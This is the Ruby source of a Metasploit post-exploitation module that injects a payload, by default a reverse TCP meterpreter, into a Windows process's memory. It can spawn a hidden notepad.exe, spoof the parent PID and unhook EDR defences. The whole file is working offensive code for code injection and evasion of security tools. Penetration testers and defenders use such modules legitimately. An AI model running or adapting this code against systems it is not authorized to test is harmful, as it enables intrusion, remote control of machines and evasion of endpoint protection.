156 lines
5.1 KiB
Ruby
156 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Module::Deprecated
|
|
|
|
moved_from 'post/windows/manage/payload_inject'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Manage Memory Payload Injection',
|
|
'Description' => %q{
|
|
This module will inject a payload into memory of a process. If a payload
|
|
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
|
|
datastore option isn't specified, then it'll inject into notepad.exe instead.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
|
'sinn3r'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2011-10-12',
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getenv
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_execute
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
|
|
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
|
|
OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
|
|
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
|
|
]
|
|
)
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def exploit
|
|
@payload_name = datastore['PAYLOAD']
|
|
@payload_arch = ARCH_X86
|
|
payload_arch_old = framework.payloads.create(@payload_name).arch.first
|
|
# convert the old style archetecture to the new style
|
|
@payload_arch = ARCH_X64 if payload_arch_old.include?('64')
|
|
|
|
vprint_status("Client Arch = #{client.arch}")
|
|
vprint_status("Payload Arch = #{@payload_arch}")
|
|
|
|
# prelim checks
|
|
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
|
|
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
|
|
end
|
|
|
|
# syinfo is only on meterpreter sessions
|
|
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
|
|
|
if datastore['PPID'] != 0 and datastore['PID'] != 0
|
|
print_error("PID and PPID are mutually exclusive")
|
|
return false
|
|
end
|
|
|
|
proc = get_proc(datastore['PID'])
|
|
if not proc
|
|
print_error("Unable to get a proper PID")
|
|
return
|
|
end
|
|
|
|
if datastore['PPID'] != 0 and not has_pid?(datastore['PPID'])
|
|
print_error("Process #{datastore['PPID']} was not found")
|
|
return false
|
|
elsif datastore['PPID'] != 0
|
|
print_status("Spoofing PPID #{datastore['PPID']}")
|
|
end
|
|
|
|
unless arch_check(@payload_arch, proc.pid)
|
|
fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
|
|
end
|
|
if datastore['AUTOUNHOOK']
|
|
print_status("Executing unhook")
|
|
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
|
|
unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
|
|
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
|
|
end
|
|
end
|
|
print_status("Injecting payload into #{proc.pid}")
|
|
begin
|
|
inject_into_pid(proc.pid)
|
|
rescue ::Exception => e
|
|
print_error("Failed to inject Payload to #{pid}!")
|
|
print_error(e.to_s)
|
|
end
|
|
end
|
|
|
|
# Figures out which PID to inject to
|
|
def get_proc(pid)
|
|
if pid == 0
|
|
notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
|
|
vprint_status("Starting #{notepad_pathname}")
|
|
proc = client.sys.process.execute(notepad_pathname, nil, {
|
|
'Hidden' => datastore['HIDDEN'],
|
|
'ParentPid' => datastore['PPID']
|
|
})
|
|
if proc.nil?
|
|
print_bad("Failed to start notepad process")
|
|
else
|
|
print_status("Spawned Notepad process #{proc.pid}")
|
|
end
|
|
else
|
|
if not has_pid?(pid)
|
|
print_error("Process #{pid} was not found")
|
|
return nil
|
|
end
|
|
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
|
if proc.nil?
|
|
print_bad("Failed to start notepad process")
|
|
else
|
|
print_status("Opening existing process #{proc.pid}")
|
|
end
|
|
end
|
|
return proc
|
|
end
|
|
|
|
def inject_into_pid(pid)
|
|
vprint_status("Performing Architecture Check")
|
|
return if not arch_check(@payload_arch, pid)
|
|
|
|
begin
|
|
print_status("Preparing '#{@payload_name}' for PID #{pid}")
|
|
raw = payload.encoded
|
|
execute_shellcode(raw, nil, pid)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Unable to inject payload:")
|
|
print_line(e.to_s)
|
|
end
|
|
end
|
|
end
|